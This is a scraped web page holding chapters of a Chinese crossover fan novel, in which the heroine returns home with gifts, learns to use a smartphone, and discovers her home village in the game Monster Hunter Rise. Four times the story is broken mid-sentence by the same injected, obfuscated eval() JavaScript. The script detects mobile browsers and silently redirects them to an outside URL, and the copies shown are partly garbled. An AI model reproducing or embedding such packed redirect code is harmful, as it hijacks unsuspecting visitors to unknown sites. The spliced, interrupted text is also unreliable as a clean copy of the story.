;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295253|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以我不得不打断大叔的忆往昔环节。 “总之,现在我先送你们出去到安全的地方,然后我再回来找老板他们。” 暂定是这样的。 除非老板他们解决事情解决得太快,而朝仓所长恰好请客给我买了一个双色冰激淋。 人在博物馆外的冰激淋车旁挖冰激淋,脚下就传来巨响和隐隐约约的晃动。 冰激淋车摊主:“啊,地震了么。” 所长:“好像触发机制,研究所塌了啊。” “喂,这可是你家塌了啊!”我气急败坏地一口吞下剩余冰激淋,任凭那股冰凉直直地冻住了我的食道。 虽然相信他们的实力不至于连一个地下设施都逃不出来,但心里还是会忍不住地担忧。 我迫不及待地冲回研究所的入口查看,却发现那里空无一人,就连老旧电梯也消失了踪影。 啊,说不定哔之助叼着他们三个飞出来了呢。 我魂不守舍地仰望着天空,走回少糖身边。 “他说研究所还有一个秘密后门,我们一起去看下吧!”少糖晃了下我的衣袖。 “好。”我振作精神。 8. 走过拐角,就撞上了急匆匆跑出来的朝仓信,看样子大概也是要来找我俩的。 然而当他的视线扫至第三人时,他一下子变得唯唯诺诺起来。 “朝仓,你爹来咯。”我暗示性拍着他的肩膀,紧接着便为他俩留下一些空间,和少糖勾肩搭背着前去找前方的老板说话了。 9. “老板,你又变成葵姐的初恋了啊。” 我上下打量了一圈虽然浑身灰扑扑但瘦下来一圈的坂本太郎,感慨地说道。 “咳,小孩子别管,你想不明白的。” 他罕见地开口说了许多话,“你也回来了?何时到的?” 尽管老板看似抗拒,但我还是冲上去实打实地给了他一个拥抱,蹦跶着和他不停念叨着:“平助和哔之助人呢?我们何时回家呀?你期不期待我从伊豆给你们带回来什么礼物?” 他只是沉默地站桩接受我的袭击,伸出手指指向远处模糊的朝仓二人身影。 “狙击小子说他先走人了。” “至于回家,等他们叙完旧就可以。” 10. 总之。 “老板,借我点钱,我的门票钱还欠着售票员呢。” 35.开箱时记得录视频 1. 夕阳将朝仓父子的身影拉得很长,我和老板以及少糖坐在后门的长椅上瘫作一团。地面还散发着余温,我对着埋藏在楼房底下的太阳眯了眯眼,总感觉此时此刻有一种莫名的惬意。 朝仓信转身了。 他用力摆动双臂向我们跑了过来,后面跟着慢悠悠走着的所长大叔。 “那,大叔……”他露出招牌式的脸红表情,没去看所长的脸,“我,我就先和他们一起回家了!” “哦,哦!”没想到其实所长也如出一辙地瞥向一旁的灌木丛,“回家啊…回家吧,信!” 2. 还说不是父子呢,这幅样子不是一模一样嘛! 3. 由于回程的路上老板已经和葵姐打过电话了,所以当我们推开二楼的房门时,小花就躲在门后惊喜地欢迎我们回来。 “欢迎回家!”她冲上来仿佛粘上吸铁石一样抱住老板,随即是我,朝仓,还有少糖。 葵从嗡嗡响的厨房探出半个身体:“晚饭马上做好了哟!” 见我们叽叽喳喳一边收拾起餐桌一边你一嘴我一嘴地问着今天的菜色,她又顿了顿加上一句:“以及,谁想吃唐扬鸡块?” “吃!我要吃!” “我也是!” “你们几个,收拾的动作倒是别停啊!” 4. 葵姐做炸鸡块的功夫真是一流的,感觉端上桌没一会儿那一大盘炸鸡就要被瓜分殆尽。 按某种顺序来说,最后一块本来轮到老板吃了,他舔了舔嘴唇,筷子尖十分矜持地触碰到了金黄色鸡块上淋着的沙拉酱。 葵:“咳。” 筷子抖了抖,但继续夹。 葵:“咳咳。” 老板正坐了,静候指令。 “诶?给我吗?”我嘿嘿笑了两声,又是一通夸赞表达对葵姐的感激。 只闻她碎碎念着:“夜子刚从外面回来,很累了吧!你要多吃点哦!” 然后又淡淡地瞪了身边人一眼:“有些人也真是的,说好了要管住嘴的,结果明明已经超出今天的份额了还想贪吃!”眼神里满满都是「以为我看不到吗」的谴责。 小花也跟着“就是就是”起来。 老板很难得战战兢兢:“因为太好吃了……抱歉。” 果然,还是看到这些场景,才有一种彻底安心的感觉啊! 5. 晚饭过后,礼物开箱环节暂时取代了今天的看电视时间。 其实一边干放着电视一边拆礼物也不是不行。 朝仓跟着我一起下楼取行李还有礼物,他动作鬼鬼祟祟的,显然是想提前观察我到底带了什么东西,不过还是被我严厉制止了。 “那……有我的那份吗?”他放低了声音似乎风轻云淡地问道。 回过身去,他淡色的嘴唇抿成一条直线,直到察觉到我停下了脚步才抬起头偶然与我对视。 “你不会给透明人打傻了吧?”我很难不忍住吐槽,“你这么想的话,那我站在商场前面苦苦思索挑选礼物的一个小时算什么?” “啊啊,那个,我……” “请说一句‘我很期待’就行了!快啦!” “好…抱歉夜子前辈…我很期待你的礼物!” “好好!这才对嘛!” 6. 现在所有人都聚在客厅里,围坐在电视机前的矮桌旁窃窃私语。我把那个专门拿来装伴手礼的箱子推来,颇有神秘感地发表开箱宣言: “各位坂本商店的成员们,大家晚上好!” “晚上好!”这是小花和少糖的应和。 “在开箱之前,我要感谢陪我一起挑选礼物的南云,大佛,还有神神廻先生,以及,看完礼物后,我要给你们一个惊喜哦~” “以上!” 老板听到某些关键词时眉头似乎一拧,随即深呼一口气聚精会神看向我的行李箱。小花则是高高举起手说:“夜子,我们待会儿也准备了惊喜给你!” “诶?什么什么!太棒了!” 我不由得加快了打开行李箱的速度。 在不同的包装袋上,我事先贴好了写有名字的标签,所以派发礼物这一过程还算是很快。桌子上已经堆不下,他们便都把东西放到脚边。 小花和葵姐是最先拿到的。果然我对于她们了解的自信没错,送给小花的全色系水彩笔以及伊豆大海主题配色的油画棒,送给葵的稀奇古怪的调味料套装还有肩颈按摩仪,虽然除此以外还有各种小玩意儿,但看她们的表情,这几样东西绝对是她们最喜欢的。 接下来是少糖。 她津津有味地欣赏着我冲印出来的一沓全是大海的相片,我站到她身后,兴高采烈地帮她取出压轴好物: “这个,是我认识的一个潜水社送给我的特产,名字叫做‘生命之水’。” 我将酒瓶正面的数字“96%”展示给她:“这看起来就很厉害吧!” “真的假的?”少糖接过来端详了一圈,“果然诶,这酒绝对很牛吧!感觉把这个贡到我爷爷坟头他会兴奋得跳起来的程度!” “不是开玩笑吧你俩,这玩意儿已经人命关天了啊!”朝仓信噎了下,略显绝望地看过来。 当然我送给她的远不止这些,除此以外还有温泉限定的玩偶仓鼠猫咪和兔子,以及一系列伊豆限定的各种奇怪口味零食。 “诶?这是什么?” 她从众相片中单拎出来一张与众不同的照片,画面上,有一名黑发神秘男子占据了右下角的大部分画幅,虽然只露出了那双漆黑的大眼睛,但另一只手却比着耶放到了身边人的头上。 “这是……南云,和夜子你的背影?”她将其放到了我面前。 我盯着认真回忆了好一会儿,不知为何一桌几人都很有危机感地凑过来等待我的回答。我咬了咬上嘴唇恍然大悟:“哦,是那个时候啊!” “我还以为他要搞什么恶作剧,原来只是拍张照啊。顺带一提,其实这些照片也是南云他帮忙印出来的。” 少糖嘟着嘴嘀嘀咕咕:“拍就拍呗,怎么还拍成这种情侣官宣照一样的。” “……别管了,来看看我这边是什么吧。”朝仓信默默回到原位。 塑料袋稀里哗啦一阵响动,我走到他身边得意地盘腿坐好。 “啊,这个,是xx家的最、最新款吧!” “什么…不是吧……这个也是我最想买的系列之一啊!” “……”他瞪大了眼睛哑口无言,视线在这一套色彩鲜亮的衣装和我装作波澜不惊的样子之间逡巡着,“甚至还有限量款……夜子前辈,你什么时候看时尚杂志了吗?” 假咳一声然后极其自然地讲出这身衣服的来源:“哈哈,其实也没有很厉害啦!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305160|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “只不过是在商场里遇上了一个感觉穿衣风格和你很像的小孩,然后请他帮忙搭配的!” “总之,贵的总会好一点?所以我就买了他推荐的最贵的。” 闻此他恨不得给我直接跪下了,一脸震惊向我磕磕绊绊地道谢:“夜子前辈……这实在是太、让你破费了……我……” “别担心,我有的是钱。” 我终于可以潇洒地说出这一句话了。 抬头却直接和老板凝重的视线对上了。 葵笑着探过身去:“太郎,夜子给你送了什么?就差你没揭晓了!” 他组织了下语言,最后却还是放弃了,破罐子破摔地把包装拆开放到桌上给大家看。 ——坂本太郎牌泡面口味减脂代餐能量棒。 先是沉默,然后是一浪更比一浪高的窃笑。 葵拍拍他的肩膀憋住笑意:“这不是很好嘛,太郎!说明夜子也很关心你呢!” 他取下眼镜按揉太阳穴:“是啊,谢谢你,夜子,这很好,这太好了。” 我正色道:“不用谢,应该的。” “你可以说说在千万种礼物中一眼选中这个能量棒的故事吗?” 7. 那时我正在为送给老板的礼物而发愁,南云走过来递给我一个巧克力味甜筒,问了一嘴我在苦恼什么,于是我便和盘托出: “因为老板感觉实在是无欲无求,又或者说他什么都不缺……所以真的不知道该带什么好。” 神神廻在我背后坐下,沉思了会儿说。“坂哥的话,实用性为上吧。” 大佛倒是不假思索,即便不认识老板也快速回答道:“好吃的。” “你觉得呢?夜子,你知道坂本现在最喜欢什么东西吗?”南云自顾自凑过来把手里香草味甜筒撞上了我巧克力味的,这使得深棕色的冰激淋一角无辜染上一抹纯白。 我皱了皱眉把那一块混乱的白色舔干净,即答道:“老板最喜欢葵姐和小花啊。” “不是啦。”他伸手捂住下半张脸,但遮不住自己的笑眼,“我说最喜欢的东西?” “嗯……可能是泡面。” “噗。我说啊,泡面味的减肥餐怎么样?”他拿出手机点了两下,“不是吧,还真有这玩意儿……诶什么?” 突然之间南云又一次突发恶疾般地捧腹大笑,歪七扭八地走过来把手机屏幕递到我面前:“你、你看这个……噗哈哈哈!” “不是吧真的假的?品牌还是叫『坂本太郎』?” “千真万确,我不是和你发过誓不骗你了吗?” “而且就在这家商场有一个专卖店……这下不得不买了!” 8. “大致就是这样。”我讲述完了这个故事,并且郑重地告诉老板,南云已经联系好了那边的供货商,说是一有需要往后还可以送货上门。 “我真是谢谢他。”老板有些咬牙切齿。 “哦,说到南云,接下来我要讲的这个惊喜也和他有关!” 老板又一次下意识作防御状。 倒是不必如此啦…… 小心翼翼地从口袋里掏出我的新手机: “噔噔噔噔!——这是南云送给我的新手机!而且因为是两个的手机套装,所以还可以打折!” “你说……两个?那另一个?” “哦,当然是南云他在用。” 36.玩会儿智能手机 1. 在说出我和南云分享了一套两部手机后,大家都以一种极其讶异的目光看着我,这让人十分不解: 买手机套装和超市里用胶带绑在一起打折贩卖的凤梨汁和苹果汁有什么区别吗?不过就是价格高一点而已吧! 我:“重点是我发现没有手机果然还是有些麻烦,这下我就可以随时随地给你们打电话了!” “先不管这个,现在有个更重要的问题……”朝仓信和少糖他们对视了一眼,缓缓僵硬开口道,“因为我们也给你……” “准备了惊喜。” 少糖从桌下摸出了一个黑色的长方形盒子,打开后里面俨然是一部同样低调的黑色手机。她把它塞进我手里,几人非常迅速地你一句我一句讲清了来龙去脉。 事情是这样的:在前两天的商店街生存大会上坂本商店一队荣获第一,除去街道损失赔偿金,他们拼拼凑凑用那些钱一起给我买了部手机。 “因为不想再出现像这几天那样联系不上你的情况了。总之就是坂本大哥和大家会很担心你!” 老板沉默着点点头。 “但是最先提出这个提议的是信你自己吧。” “我只是替你们把想法说了出来而已!” “那现在咋办?”我看着左右两只手的手机有些为难。 “用南云给你那台吧。”老板突然开口,不知道他有何思量。然后他魔术般从身后变出一张小塑料片,动作飞快塞进了我手机:“这是给你办好的电话卡。” 朝仓信的五官都要飞了起来,他颇为不可置信地询问:“坂本大哥!这不就相当于向南云那家伙认输了一样吗?” 他并没有直接回复朝仓的问题,继续和我交代着:“第一个手机就当练手用的,玩坏了就用我们给你的。” 我眨了眨眼:“有道理,毕竟白色的手机弄脏了很显眼。而且感觉我会很不舍得用大家送给我的这台。” “哦哦哦!坂本大哥英明!” “诶——好坏哦太郎~” 2. 一边收拾着剩余我自己买的东西,一边把手机给他们轮番填上自己的号码,这之后我便拎着大包小包回到了我在后院的帐篷里。 不过没有道具箱放东西还真是有些麻烦呢。 我只得将其通通塞进行李箱放在一边,然后跑回去洗了个澡准备躺下。 枕边的营地灯是老板去家具城给我提回来的,它散发着实在柔和的光芒,我就在这样微风吹拂的美好夜晚自学起了智能手机。 家里的wifi名是“sakamoto&wee”,密码是小花的名字拼写加结婚纪念日数字,老板事先已经给我登陆好了,因此我能够畅通无阻地使用。 然而,注册各种账号实在很麻烦,外加我打字也不是很熟练,所以仅仅是注册了一个line账号就已经累了。弹出来那么多弹窗,我胆战心惊生怕点错了一个。单是阅读一个长长的《用户服务条款与隐私政策》我就上上下下花了半个小时,最后才咬牙点下了『确认』键。 好困。 智能手机好麻烦。 我睡了。 3. 等一下。 4. 我半夜惊醒,恍惚游神是因为想起似乎某个人说要第一个联系他,还会一直等着什么的。 南云是不是?我解锁了手机划动通讯录这才彻底想起来。 虽然已经过零点了,但万一他还等着我的电话…… 通讯录,置顶联系人,拨打。 5. “喂,我是夜子。”迷迷糊糊蒙在被子里,我像模像样地说着。 “夜子?”那边传来同样困倦的慵懒声音,或许还带着一丝沙哑。 “老板给我电话卡了,想起来你说要给你打电话。” 他愣了愣,然后像是捂着话筒低低地笑了。 “唉……别笑……你搞得我耳朵痒。”我有气无力地劝说道。 “好,我不笑。”他压低了声音,“你在睡觉吗?” 我点点头,后知后觉才意识到他那边看不到,于是才说:“想起来没给你打电话就吓醒了。” “现在任务也完成了吧……我要……睡觉……再见南、南云。” 夜晚静悄悄地流淌去了。 6. 老板本想带我们全体一起去泡汤放松休息休息的,不过我刚在伊豆泡过,加之很久没上班了,想要看店的心情愈演愈烈,所以最终还是决定由我留下来。 奇怪的是朝仓信也硬是没跟去,非要和我待在一块。 所以现在,店内仅有我们二人。 “你有空吗?”我向他招招手,“能不能来教我怎么用手机?” 朝仓拍拍手上的灰尘坐到我身边:“好。这是白屏了吗?”他瞥了一眼,随即认真地拿到自己手里,然后是一阵沉默。 “夜子前辈,你同时开了二十个浏览器页面所以它才会卡。” 有些心虚地顺着他点开的界面删去了些网页,画面终于能动了。不过转念我又想起自己还是新手,根本无需畏惧,于是更加理直气壮地指使他帮我干起其他的。 “我要购物软件,看电视软件,餐厅评价软件,音乐软件……” “好好好,一个个来……” 7. 一个小时后,我的手机再次焕然一新。 “没想到你这小后辈还挺厉害的嘛!”我左右划动着手机屏,“要加line吗?”点开那个绿色图标,我拿起手机在他面前晃了晃。 “要要要的!” 他眼睛亮了亮。 很好,至少我昨天琢磨一晚上的line不会让我表现得自己是电子白痴。 8. 然而。 “夜子前辈,你有没有觉得我们这样有点像是社区办的老年数码产品扫盲班。” 在尝试了第七次教会我一系列多指快捷操作后,朝仓信打开一罐可乐咕咚咕咚灌了下去。 “也……不至于吧?”我心如死灰地息屏,“没事的,这些看起来很复杂的东西应该也不常用。对。” “那至少记住双指截屏?”他在空气中用手指演示了一遍。 我:“记住了。” 9. 今天客流量依旧不是很多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331455|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝仓信在门边张望着,下巴趴在扫帚顶端站得不是很稳。 似乎有什么话要说? 他倚靠着这扫帚一会儿转向我,一会儿又起身装模作样地扫扫地,或许是有些踌躇的姿态。 在送走一位顾客后,他终于装作不经意地开口了:“夜子前辈,你好像不怎么叫我的名字。” 只是这样啊。 事实上我根本没有想过这回事,只是顺其自然地这样叫着了。 “明明对后来的陆就很快直呼其名了……”他嘟囔着。 “你也没叫少糖的名字啊。”我迅速察觉。 “因为那两个字很难念……我怕念错。”他挠挠头。 “好吧。”我思索一番,最终还是回答道,“我没想过你名字这回事,但是大概潜意识更喜欢你这姓?” “我很喜欢清晨,而且是樱花呢。好好啊!”后知后觉地才意识到这一点,asa,sakura,多好啊。 “那……那你就这样叫着吧。”他收起扫帚的动作慢了两拍,差点给自己绊了一跤,“随前辈喜欢。” “好笨哦!”我朝他喊了一句。 “对不起!——” “笨蛋小后辈哈哈!” 心情大好。 10. 下午出去泡汤的几个就回到商店了。他们一副神清气爽的模样,吹到店里打着的空调风更是舒爽地长叹一口气。 葵姐上楼换了身衣服后就来和我替班,老板把一盒章鱼小丸子径直往我面前一放,我打开乐呵呵地吃了起来,虽然明显里面少了两颗,但我心情好,不计较这些。 “你们两个辛苦啦,去楼上休息休息吧!”葵边整理货架边转过身对我和朝仓信说道。 “好哦!” “我也要和你一起!”少糖拉着小花的手,不经意间也悄悄上了楼。 “你上午又没干活,要什么休息啊!别想偷懒啊我说!” “朝仓,去拿副牌来,我们四个来打牌吧!” “好,遵命。” 11. 每次和他们这样无忧无虑地相处玩耍,我总有种从没发生过任何动荡的错觉,所谓“十亿悬赏令”也如同不存在一般。 或许就像这个明媚下午一样,我们几个在二楼笑着闹着,为了一些鸡毛蒜皮的小事吵着架,然后在某一刻突然又对视着笑出声来。 在楼下,老板不动声色地解决掉所有会破坏掉商店幸福的麻烦,葵姐总是笑得眉眼弯弯,给我们提供似乎永不断绝的能量。 一楼的商店承托着二楼的我们的家,那样稳固。 我拉开玻璃窗,将近日暮的阳光斜照,一个接一个的脑袋钻到我身旁,我们一起呼吸着窗外的新鲜空气,明明拥有着超能力的朝仓却唯独输得被贴上了数张恶搞纸条在额头,被窗外的风吹得簌簌作响。 即便未来那可能不是我要完成的任务,我也会为了能够继续像这样在窗边看风景,竭尽全力保护这里,保护坂本商店和这里的所有人。 12. 我的心愿不知会被哪个神明听见呢? 真正的那个任务,何时又会出现呢? 37.吾爱怜之,村庄 1. 这两天过得实在是风平浪静,甚至冲着悬赏令来店里的杀手也看不见几个。 研究所所长终归是放下最后一层傲娇,一点儿没掩饰关心地来了店里,给他的宝贝孩子送了大包小包的慰问品。 他和店长两个人说着说着就坐到了门口的桌边,隔着玻璃听不清他们讲话,但总觉得这画面像极了什么家长座谈会。 我们则尾随着朝仓在一旁拆包裹。 花里胡哨的零食,留下。 一看就是家长品味买的衣服,留下。 研究所的叔叔阿姨混进去的神秘液体,还回去。 一台崭新的ns,留下。 小时候的相册,绝对要留下! 我放下了最近正玩得起劲的手机,眼疾手快地抢过那本灰黄的、极具年代感的厚实相册,纵身一个跳跃便翻进了柜台: “少糖,我进堡垒了!在战壕外掩护我!” “夜子姐放心!绝不会让敌人有一丝可乘之机!”她摆出太极架势,眉毛直竖大有拼死之阵仗,“我也要看我也要看!” 一开始朝仓信还有抵抗之意,不过双拳难敌四脚,他很快就为了逃避现实拿着新游戏机上楼去了。 “真是的,看完了相册不要到处乱放啊!”陆少糖耸耸肩蹲到我旁边,“他逃走之前是这样说的。” “那我们一起来看吧!你看这两张都超级可爱啊!”我翻去前面两页,指着小朝仓趴在桌上抓耳挠腮写数学题和他扮作圣诞节驯鹿的那两张。 “诶,不是吧,这个哭鼻子到满脸都是黏糊糊眼泪的小不点,也是信啊!” “天呐,这简直可爱到犯下了不可饶恕之罪!” 楼上突然传来了巨大一声摔跤声,打断了我们热烈的讨论。 “算了,夜子姐,我们还是小点声吧。那家伙感觉要爆炸了。” “只不过实话实说嘛。”我凑在她耳边压低了声音。 2. 后来我们各用手机拍照扫描下来整本相册当作了备份。 3. 朝仓信拿到那台游戏机就如同我拿到新手机,虽然一开始不怎么会使用,导致抵触情绪的滋生,但一旦熟练起来那么上瘾就是在所难免的了。 “夜子,干活。”老板敲了敲我面前的桌子。 浑身一激灵,我下意识掐掉了那部刚在油管上订阅的短剧,弹射到了货架边。 明明朝仓也在旁边玩游戏机的……为什么只抓我一个…… 我在店内扫视了一圈,发现店内并没有他的身影,这才恍恍惚惚意识到『朝仓信在我旁边玩游戏机』这件事似乎是早上发生的。 好厉害啊这个手机,只是看看视频就能让人模糊时间意识吗…… 不过归根到底还是店里没什么顾客的原因吧! 4. 这样想着,店里就迎来了一位不速之客。 是前两天在研究所那个『透明人』。 他驾驶着一辆略显破旧的小货车停在店门口,推门下车的时候眼神依旧怠惰。然后径直地走进了我们商店。 取下藏青色连帽衫的帽子,我才发现其实他的眼神并非我想象的那样,恰恰相反,虽然眼周略带乌青,但目光里却有着藏不住的兴奋。 不是吧,来寻仇的吗? 我和老板一齐竖起警惕,往一块儿站了站。 他眯着眼在我身上细细打量着,又环顾四周,好像要找什么东西的样子。 然后就开口了: “虽然这很突然但我还是问一下,你刀呢?” 5. “哈?” 6. 总之辨明来者并非敌人就好办了。 他见我们沉默了不知说什么好,便挑挑眉悠哉悠哉去了车上,回来的时候手上却多了两个色泽诱人的可丽饼。 “拜你们所赐,我失业了。”又指向窗外的小破车,“我的新工作。” “吃不吃?”我当老板已经默认,于是透明人勾勾手指我就过去了。 老板把他那份让给我吃了。 老板好。 就在我张牙舞爪进食的同时,那人不疾不徐讲明了来意。 来人名叫势羽夏生,是老板的校友,现在正作为武器制造科的研究生准备课题。所以,非常理所应当地,就在前不久那场战斗中,他被我太刀那华丽的身姿给深深吸引住了,从此便日思夜想魂牵梦萦…… “别添油加醋。还没到那个程度。”他撇了撇嘴,“所以说,我可以借你的刀一用来写论文吗?” “不行。”我摇头道,“就算是把我夸得天花乱坠也不行。” “首先我没有你想象中那样夸你。其次我想知道为什么……” “这还用想?我一个玩太刀的身边没把刀还像话吗?” 等下,什么叫玩太刀的。我怎么会用如此不敬之词。 于是及时挽回:“我是说太刀是我的好伙伴,她说她不同意跟你走。” “不,我没说要带走。就只是在你这儿看看。” “那再来一个可丽饼。”我咬咬牙。 “成交。” 7. 好在店里没人光顾,他转移到了用餐区域,厚厚的论文纸和设计图纸铺开,霎时间堆满了整块桌面,在这之上,我的太刀笔直地躺着压住它们不让纸张乱飞。 一进入工作状态,他就像换了一个人似的,仿佛周身隔绝了其他智商不达标的空气分子。比如说我。 刚刚我曾尝试看了一眼他的手稿,除了最显眼的一行大字:《触发式武器特异效果机制探究——冷兵器战斗场景中特定材料与动态气流的关联反应》。 这什么鬼啊? 怎么看了有点想吐。 我还是继续看店去吧。 8. “先别走。”他拉住我的衣角,“有几个问题想问你。” “不是吧,你研究这么高深的东西确定要来问我?” “只是一些小问题。” 叹了口气,我最终还是秉持着帮人帮到底的思想,坐到了他对面的座椅。不过他问的确实是一些简单问题。 “这把刀是刀纹爷爷给我打的,怎么制作的我完全不知道。” “冒出火焰的话,应该只要是我发出攻击就会有吧。具体就是刀的上半段有火焰啊。” “用了多久这就不好说了,现在这个阶段大概就用了五年?不过强化之前的基底刀体就真不记得了。” “平常的保养就是对太刀加以爱与友情啊,然后磨磨刀什么的?” “……我明白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346524|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。参考价值大概有30%。” “什么嘛!是你自己要问的!”我瞪他一眼做了个手刃的姿势。 但他毫不在意,接着就埋头观察写字去了。 9. 我和老板坐到柜台那边,嗑嗑瓜子看看报也挺舒服。 而且抬头就能瞧见透明人在不远处写作业,怎么说呢,就是挺爽的。 “不过被他这么一提,倒有点开始想念我其他的刀了。” 柜台是铁制的,把脸贴上去冰冰凉凉,有降温奇效。我转头又问了老板一嘴:“老板,你会不会也想念从前用过的武器啊?” 他几乎是不假思索:“你是说按动圆珠笔,美工刀,路边捡的铁管和告示牌那种吗?” 回忆起他一贯的作战方式,我默默收回了这个话题。 10. 朝仓信下楼的时候,手里还握着最近爱不释手的游戏机。视线扫过商店一隅正摆弄着我太刀的某人时,他浑身一个激灵大叫道: “透、透明混蛋怎么在这里!而且脑子里还在想铺天盖地的神秘符号来攻击我的大脑啊!” 势羽夏生放下钢笔幽幽转身:“吵到我了。明明是你自己太弱,实际上0个人想攻击你。” “你!” “我很忙的,可不像某些人能毫无负担地玩游戏啊。” “我哪儿有在玩,根本一个游戏都还没来得及买!” 我也是瞠目结舌:“你是说,你茶饭不思玩了两天,实则根本没玩成,还在研究使用说明吗?” 朝仓信靠在柜台边向我摆了摆手:“是在选买什么游戏比较好啦。我查攻略查了好久还没决定。”他一个个点开商店页面再一次挑选。 我瞥了一眼,感觉那么多花里胡哨的宣传动画确实能迷了人眼,便开口建议说:“那选一个最王道最受欢迎的呗。” “问题是我看着感觉不分上下啊。” 他应了声,继续切换了下一个游戏浏览。 老板挥手驱逐他去一边玩去,别挡在柜台前面。他刚要离开,我却发现了有些不对劲: “等等,我怎么听到我家火芽在唱歌?” “啊,是说这个游戏的动画歌曲吗?” 朝仓信按了下音量键,我听得更加清楚了,那绝对是火芽唱给我听过的歌! “拿过来给我看看!”我急得被呛了一下,匆匆喝了口水接过朝仓递过来的游戏机。 画面上,熟悉的龙人族少女坐在村口的长椅,温和的目光似乎能透过屏幕,她轻轻咏唱着那段遥远回忆中不灭的曲调。 我只感觉到五脏六腑甚至都止不住地颤抖,呼吸也有些断断续续。视野不知何时因涌出的泪水变得模糊,我垂下头,无意识地轻哼着回应火芽的呼唤。 「神风吐息……」 「乃炎火村之地……」* 11. 火芽,我在这里。 我在这里啊! 12. 他们几个,尤其是老板,从来没见过我流泪的模样,见状呆呆地站在了原地没来得及反应。 我带着笑直接用衣袖抹干了眼角流下的泪水,把游戏机还给朝仓: “可以买这个游戏吗?” “这个叫做「怪物猎人:崛起」的奇怪游戏。” 38.游戏?我?任务? 1. 原来眼泪是这种触感。 轻飘飘的,如同羽毛一般。 2. 那游戏,朝仓信自然是当即就买下了,等待下载的这段时间,他俩小心翼翼地围在我身边不知如何应对。 “也太大惊小怪了吧,你们。”我点了点桌面,“哭一下而已,又不是天要塌下来了。” 老板交叉着手指:“也差不多。你先说说看吧,什么情况。” 手机浏览器上已经打开了刚刚搜索到的具体游戏信息,我把照片放大,推到我们几人中间方便查看。 “喏,这个,炎火村,我家。” “她们,一个蝴蝶结的是火芽,两个的是水芸,我的好朋友。” “……” 我绘声绘色地讲起了我们以前的趣事,直到游戏机“叮”一声响起提示音,才意识到现在并不是讲故事的好时候。 朝仓信一把把游戏机捞起来,点进那个眼熟的图标。他面带豫色地指着屏幕:“这两个就是《怪物猎人》的怪物?” “嗯,他们是怨虎龙和爵银龙。而我就是《怪物猎人》的猎人。” “……然后你打他们?”老板眉头紧锁。 “对啊。你看屏幕上角落里的人,就是猎人们,虽然那几个人不是我啦。” 朝仓信猛地站了起来,脸上空白一片。 “不,不是,这。我好像有了什么超自然的猜测但是这不是真的吧……是不是今天没睡醒的缘故呢……” 老板一把将他扯回座位:“别逃避现实了。” “对啊你这个超能力者。” “不!这完全是两码事吧!” 他捂着脸,甚至头发也被抓得乱糟糟:“要我相信夜子前辈是游戏角色什么的……至少得缓五分钟啊!” 这下反倒是我愣住了:“游戏角色?” “难道不是根据我家乡的故事制作了游戏的意思吗……” “似乎真有这种可能来着……”朝仓信也迟疑了一瞬,随即飞速摆着手,“但果然还是不可能!我可从来没听说过有什么怪物啊!” “游戏,快启动看看。”唯独老板还保持着一开始的理智。 说得也对。 尚未亲眼见识这游戏确切的内容,还是先不要着急。 我和朝仓信对视一眼,暂时放下争论,紧盯着屏幕等待会出现什么线索。 3. ……你告诉我第一步怎么还有捏脸啊!! 关键是旁边那两个家伙看到这个界面就很诡异且顺理成章地切换状态,对捏脸跃跃欲试了。 不应该先把心思放在里面究竟会不会有我登场上吗! “这个嘛……”朝仓信挠挠头,“万一待会儿能遇见夜子前辈的话,总不能就这样乱糟糟的啊。” “所以说,我人就在这儿还需要看个鬼啊!” “对、对不起,我马上进游戏……暂时还不行呢夜子前辈,捏完角色的脸,还要捏随从猫咪和狗狗诶。” 好吧,选择猫狗情有可原。 我当年也是在一堆小动物雇佣队伍里迷了眼,无法控制地玩了半个小时的。 不过朝仓信在选择随从的时候,倒没花费多长时间。按这边的说法,他是捏了只三花和边牧,甚至名字也很快决定好: “这下我就猫狗齐全了。哈哈,小朝、小樱,我们出发!” “这不就是拆了自己名字吗?有够自恋的。” 势羽夏生摘下耳机大喇喇扯过一把椅子坐了过来,“刀先还你,我暂且看不出什么机关,回去查查资料再找你。” 